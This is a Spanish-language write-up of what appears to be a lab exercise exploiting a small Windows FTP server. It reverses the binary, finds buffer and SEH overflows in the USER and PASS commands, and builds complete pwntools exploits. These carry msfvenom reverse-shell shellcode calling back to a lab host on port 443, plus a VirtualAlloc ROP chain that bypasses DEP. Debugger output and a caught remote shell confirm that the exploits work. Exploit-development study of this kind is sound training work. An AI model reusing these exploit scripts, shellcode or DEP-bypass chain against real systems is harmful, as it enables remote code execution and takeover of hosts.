Reversing
Al ejecutar el binario muestra que se ha iniciado un servidor por algun puerto y por el nombre podemos pensar que es el 21
, pero podemos comprobarlo con TCPView
PS C:\Users\user\Desktop> .\ftp.exe
Waiting for client connection..
❯ netcat 192.168.100.5 21
220 Welcome to Simple FTP Server NG
USER admin
331 User OK, password required
PASS admin
Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg
Si miramos los detalles del módulo con mona
podemos ver que no contiene ninguna protección por lo que a la hora de hacer un exploit deberia ser relativamente sencillo
0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
-----------------------------------------------------------------------------------------------------------------------------------------------------
Module info :
-----------------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
-----------------------------------------------------------------------------------------------------------------------------------------------------
0x75eb0000 | 0x76132000 | 0x00282000 | True | False | True | True | True | True | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
0x72ec0000 | 0x72f11000 | 0x00051000 | True | False | True | True | True | True | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
0x00400000 | 0x00429000 | 0x00029000 | False | True | False | False | False | False | [ftp.exe] (C:\Users\user\Desktop\ftp.exe)
0x757b0000 | 0x758a0000 | 0x000f0000 | True | False | True | True | True | True | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
0x77770000 | 0x77922000 | 0x001b2000 | True | False | True | True | True | True | [ntdll.dll] (ntdll.dll)
0x75400000 | 0x754ba000 | 0x000ba000 | True | False | True | True | True | True | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
0x774c0000 | 0x7751f000 | 0x0005f000 | True | False | True | True | True | True | [WS2_32.dll] (C:\Windows\SysWOW64\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
La función main
inicia llamando a la función WSAStartup
para inicializar winsock y luego llama a la función socket
para crear un socket y este devuelve un descriptor
Ahora utiliza htons
para darle formato al puerto 21
y posteriormente llamar a bind
y listen
para ponerse en escucha de conexiones entrantes en ese puerto
Luego llama a accept
que recibe la conexión de un cliente y devuelve un descriptor
Una vez recibe el la conexión llama a la función printf
para mostrar en consola que se recibió una conexión y luego ejecuta un tipo de función que llamamos memcpy
Con send muestra el banner y luego recibe 0x800
bytes utilizando la función recv
almacenandolo en un buffer, por ahora llamaremos a esa la variable command
Luego de mostrar un mensaje compara si los primeros 4
bytes del buffer llamado command
con USER
, si condición se cumple y devuelve 0
salta a la linea roja
Luego copia el argumento a un buffer en ebp - 440
con la función memcpy
, este buffer soporta menos datos de lo que se reciben ocasionando un buffer overflow
Podemos intentar explotar el buffer overflow enviando 500
bytes en el campo USER
#!/usr/bin/python3
from pwn import remote, cyclic
payload = cyclic(500)
shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER " + payload)
Al ejecutar el exploit el programa corrompe y sobrescribimos el return address con una parte del patrón ciclico, el resto de bytes se guardan en el stack, si le pasamos el valor a cyclic
nos dice que el offset para sobrescribir el return address es de 444
0:000> g
(b5c.28a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=003b0000 ecx=82cde15f edx=00760000 esi=00766650 edi=0076a8a8
eip=6561616c esp=0019ff34 ebp=6561616b iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
6561616c ?? ???
0:000> db esp L30
0019ff34 6d 61 61 65 6e 61 61 65-6f 61 61 65 70 61 61 65 maaenaaeoaaepaae
0019ff44 71 61 61 65 72 61 61 65-73 61 61 65 74 61 61 65 qaaeraaesaaetaae
0019ff54 75 61 61 65 76 61 61 65-77 61 61 65 78 61 61 65 uaaevaaewaaexaae
❯ cyclic -l 0x6561616c
444
Si aumentamos los bytes de 500
a 1000
el programa corrompe pero ahora ya no controlamos el eip
lo que si sobrescribimos es la estructura SEH
, el offset hacia la estructura nos dice que es 496
, encontramos una vulnerabilidad de SEH Overflow
#!/usr/bin/python3
from pwn import remote, cyclic
payload = cyclic(1000)
shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER " + payload)
0:000> g
(2ad8.a34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001a0000 ebx=00000000 ecx=0000006e edx=0019ee8c esi=0019eea0 edi=0019f2e8
eip=0040749f esp=0019ee60 ebp=0019ee74 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
ftp+0x749f:
0040749f 8808 mov byte ptr [eax],cl ds:002b:001a0000=41
0:000> !exchain
0019ff64: 6661617a
Invalid exception stack at 65616179
❯ cyclic -l 0x65616179
496
❯ cyclic -l 0x6661617a
500
Si el campo USER
tiene una vulnerabilidad en la entrada de datos es probable que otros campos también, si enviamos el payload en el campo PASS
ocasionamos también un buffer overflow, ahora el offset para sobrescribir el return address es de 269
, con esta ya encontramos 3
vulnerabilidades de corrupción de memoria
#!/usr/bin/python3
from pwn import remote, cyclic
payload = cyclic(1000)
shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER username")
shell.sendlineafter(b"\r\n", b"PASS" + payload)
0:000> g
(475c.5d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00271000 ecx=ffd7af90 edx=00424314 esi=00666848 edi=0066a920
eip=73636161 esp=0019f3bc ebp=72636161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
73636161 ?? ???
0:000> db esp L30
0019f3bc 61 61 63 74 61 61 63 75-61 61 63 76 61 61 63 77 aactaacuaacvaacw
0019f3cc 61 61 63 78 61 61 63 79-61 61 63 7a 61 61 64 62 aacxaacyaaczaadb
0019f3dc 61 61 64 63 61 61 64 64-61 61 64 65 61 61 64 66 aadcaaddaadeaadf
❯ cyclic -l 0x73636161
269
Explotación
Para comprobarlo enviaremos 269 A's
hasta antes de sobreescribirlo, en ese registro enviaremos 4 B's
y simulando un shellcode dejaremos 100 C's
en el stack
#!/usr/bin/python3
from pwn import remote
offset = 269
junk = b"A" * offset
payload = b""
payload += junk
payload += b"B" * 4
payload += b"C" * 100
shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER username")
shell.sendlineafter(b"\r\n", b"PASS" + payload)
Al enviar el exploit podemos ver que eip
vale 0x42424242
que son las B's
y justo en el stack estan las C's
, la idea sera saltar al esp
para interpretar las instrucciones
0:000> g
(26d0.32dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0024f000 ecx=ffd7af90 edx=00424314 esi=004989d8 edi=0049aba8
eip=42424242 esp=0019f3bc ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
0:000> db esp l30
0019f3bc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0019f3cc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0019f3dc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
Para saltar al stack podemos buscar gadgets con ropper
, aunque no encontramos un jmp esp;
encontramos 2 gadgets que ejecutan un call esp;
que es equivalente
❯ ropper --file ftp.exe --jmp esp
JMP Instructions
================
0x004016be: call esp;
0x0040d50e: call esp;
2 gadgets found
Ya que podemos ejecutar instrucciones con este exploit solo nos queda generar un nuevo shellcode usando msfvenom
que envie una reverse shell por el puerto 443
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of python file: 1823 bytes
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x64\x49\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"
El exploit es simple, simplemente escribe A's
hasta el offset del return address donde salta al esp
, y en el stack se encuentra el shellcode donde de la revshell
#!/usr/bin/python3
from pwn import remote, p32
offset = 269
junk = b"A" * offset
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x64\x49\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"
payload = b""
payload += junk
payload += p32(0x004016be) # call esp;
payload += shellcode
shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER username")
shell.sendlineafter(b"\r\n", b"PASS" + payload)
Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 21: Done
[*] Closed connection to 192.168.100.5 port 21
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5 60614
Microsoft Windows [Versión 10.0.22621.4317]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\user\Desktop> whoami
windows\user
C:\Users\user\Desktop>
Aunque no es necesario podemos habilitar una protección, en este caso DEP
que quita la ejecución del stack por lo que el exploit que hicimos antes no funcionará
Al ejecutar el exploit el programa corrompe, si miramos la protección del esp
podemos ver que tiene asignado un 4
que es equivalente a PAGE_READWRITE
0:000> g
(2c74.9bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00219000 ecx=ffd7af90 edx=00424314 esi=004c97e0 edi=004cd8c0
eip=0019f3bc esp=0019f3b8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
0019f3bc fc cld
0:000> !vprot esp
BaseAddress: 0019f000
AllocationBase: 000a0000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Hay varias funciones que nos permiten cambiar este privilegio entre ellas VirtualProtect
, WriteProcessMemory
o la que usaremos VirtualAlloc
ya que al reservar memoria se le permite indicar la proteccion de esta por lo que si reservamos una página del stack conseguimos cambiar sus protecciones a algo con EXECUTE
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
Veamos que debemos pasar como argumentos, lpAddress
será la dirección donde se revervara memoria, en este caso será el stack o esp
, luego tenemos dwSize
en este caso solo reservaremos el tamaño de una página, luego viene flAllocationType
la documentación nos dice que si indicamos una dirección debemos usar MEM_COMMIT
o 0x1000
, finalmente flProtect
donde usaremos PAGE_EXECUTE_READWRITE
o 0x40
para hacer el stack ejecutable y asi ejecutar el shellcode de forma correcta
lpAddress = &esp
dwSize = 0x1
flAllocationType = 0x1000
flProtect = 0x40
Algo a tener en cuenta es que los argumentos se pasan en el stack, como tenemos DEP
habilitado hay pocos gadgets que ejecuten un push
de un solo registro sin intentar ejecutar algo más, un método es utilizar el gadget pushad; ret;
que ejecuta un push
de todos los registros en un orden especifico que es el siguiente
Temp := (ESP);
Push(EAX);
Push(ECX);
Push(EDX);
Push(EBX);
Push(Temp);
Push(EBP);
Push(ESI);
Push(EDI);
El ultimo argumento lpAddress
indica el inicio de donde reservaremos memoria asi que tenemos que adaptarnos al orden de pushad
, tendremos que guardar los valores de los otros 3
argumentos en orden inverso a partir del push
de Temp
o esp
$ecx = flProtect
$edx = flAllocationType
$ebx = dwSize
$esp = lpAddress
Para encontrar los gadgets necesarios se puede utilizar ropper
en el modo consola
❯ ropper --file ftp.exe --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ftp.exe/PE/x86)>
Guardamos los valores de los argumentos en los registros que definimos antes, para ello podemos usar gadgets pop ???; ret;
y como 0x00
no es un badchar nos permite enviar los valores directamente a diferencia de si lo fuera
rop = b""
rop += p32(0x0040245b) # pop ecx; ret;
rop += p32(0x40) # flProtect
rop += p32(0x0041b98e) # pop edx; ret;
rop += p32(0x1000) # flAllocationType
rop += p32(0x00402b3d) # pop ebx; ret;
rop += p32(0x1) # dwSize
Como nos queda un registro al inicio de pushad
y no afectará al resto guardaremos la función VirtualAlloc
en eax
para poder saltar a el, antes obtendremos su IAT
rop += p32(0x0041db0f) # pop eax; ret;
rop += p32(0x0041e008) # VirtualAlloc()
Nos quedan 3 registros antes de Temp
, en edi
que sera el primero en ejecutarse simplemente ejecutaremos un ret
y pasaremos al valor de esi
que ejecutará VirtualAlloc
, al terminar la función ejecutará el pop rbp
que limpiara el stack para ejecutar la siguiente instrucción que será el salto al shellcode a ejecutar
rop += p32(0x00401008) # pop ebp; ret;
rop += p32(0x00401008) # pop ebp; ret;
rop += p32(0x00402659) # pop esi; ret;
rop += p32(0x0041532b) # jmp dword ptr [eax];
rop += p32(0x00404c75) # pop edi; ret;
rop += p32(0x00401009) # ret;
Ya con todos los registros establecidos solo nos queda ejecutar el pushad; ret;
, luego de salir de VirtualAlloc
ejecutaremos un jmp esp
para ejecutar el shellcode
rop += p32(0x00402d3f) # pushad; inc edx; add dh, dh; ret;
rop += p32(0x004016be) # call esp;
El exploit ejecutará la cadena rop
que creamos para modificar los permisos del stack utilizando VirtualAlloc
y una vez este sea ejecutable saltará al shellcode en el esp
#!/usr/bin/python3
from pwn import remote, p32
offset = 269
junk = b"A" * offset
rop = b""
rop += p32(0x0040245b) # pop ecx; ret;
rop += p32(0x40) # flProtect
rop += p32(0x0041b98e) # pop edx; ret;
rop += p32(0x1000) # flAllocationType
rop += p32(0x00402b3d) # pop ebx; ret;
rop += p32(0x1) # dwSize
rop += p32(0x00401008) # pop ebp; ret;
rop += p32(0x00401008) # pop ebp; ret;
rop += p32(0x00402659) # pop esi; ret;
rop += p32(0x0041532b) # jmp dword ptr [eax];
rop += p32(0x00404c75) # pop edi; ret;
rop += p32(0x00401009) # ret;
rop += p32(0x0041db0f) # pop eax; ret;
rop += p32(0x0041e008) # VirtualAlloc()
rop += p32(0x00402d3f) # pushal; inc edx; add dh, dh; ret;
rop += p32(0x004016be) # call esp;
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x64\x49\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"
payload = b""
payload += junk
payload += rop
payload += shellcode
shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER username")
shell.sendlineafter(b"\r\n", b"PASS" + payload)
Para ver que funcione podemos establecer un breakpoint en VirtualAlloc
, cuando llega ahi podemos comprobar que los parametros esten establecidos correctamente
0:000> bp KERNEL32!VirtualAllocStub
0:000> g
Breakpoint 0 hit
eax=0041e008 ebx=00000001 ecx=00000040 edx=00002001 esi=0041532b edi=00401009
eip=757c81b0 esp=0019f3dc ebp=00401008 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
KERNEL32!VirtualAllocStub:
757c81b0 8bff mov edi,edi
0:000> dds esp + 4 L4
0019f3e0 0019f3f4
0019f3e4 00000001
0019f3e8 00001000
0019f3ec 00000040
Luego de ejecutar la función si volvemos a ver la protección del stack paso de 0x4
a 0x40
que es igual a PAGE_EXECUTE_READWRITE
, esta protección ya deberia permitirnos ejecutar el shellcode asi que continuamos con la ejecución del exploit
0:000> pt
eax=0019f000 ebx=00000001 ecx=b1df0000 edx=0019f000 esi=0041532b edi=00401009
eip=75ff38ee esp=0019f3dc ebp=00401008 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
KERNELBASE!VirtualAlloc+0x4e:
75ff38ee c21000 ret 10h
0:000> !vprot esp
BaseAddress: 0019f000
AllocationBase: 000a0000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Cuando llegamos al gadget call esp
podemos ver que en el stack esta el shellcode
0:000> pc
eax=0019f000 ebx=00000001 ecx=b1df0000 edx=0019f000 esi=0041532b edi=00401009
eip=004016be esp=0019f3f8 ebp=0041e008 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ftp+0x16be:
004016be ffd4 call esp {0019f3f8}
0:000> u esp
0019f3f8 fc cld
0019f3f9 e882000000 call 0019f480
0019f3fe 60 pushad
0019f3ff 89e5 mov ebp,esp
0019f401 31c0 xor eax,eax
0019f403 648b5030 mov edx,dword ptr fs:[eax+30h]
0019f407 8b520c mov edx,dword ptr [edx+0Ch]
0019f40a 8b5214 mov edx,dword ptr [edx+14h]
Al ejecutar el exploit utiliza un ropchain para evadir el DEP
y obtenemos una revshell
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 21: Done
[*] Closed connection to 192.168.100.5 port 21
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5 60614
Microsoft Windows [Versión 10.0.22621.4317]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\user\Desktop> whoami
windows\user
C:\Users\user\Desktop>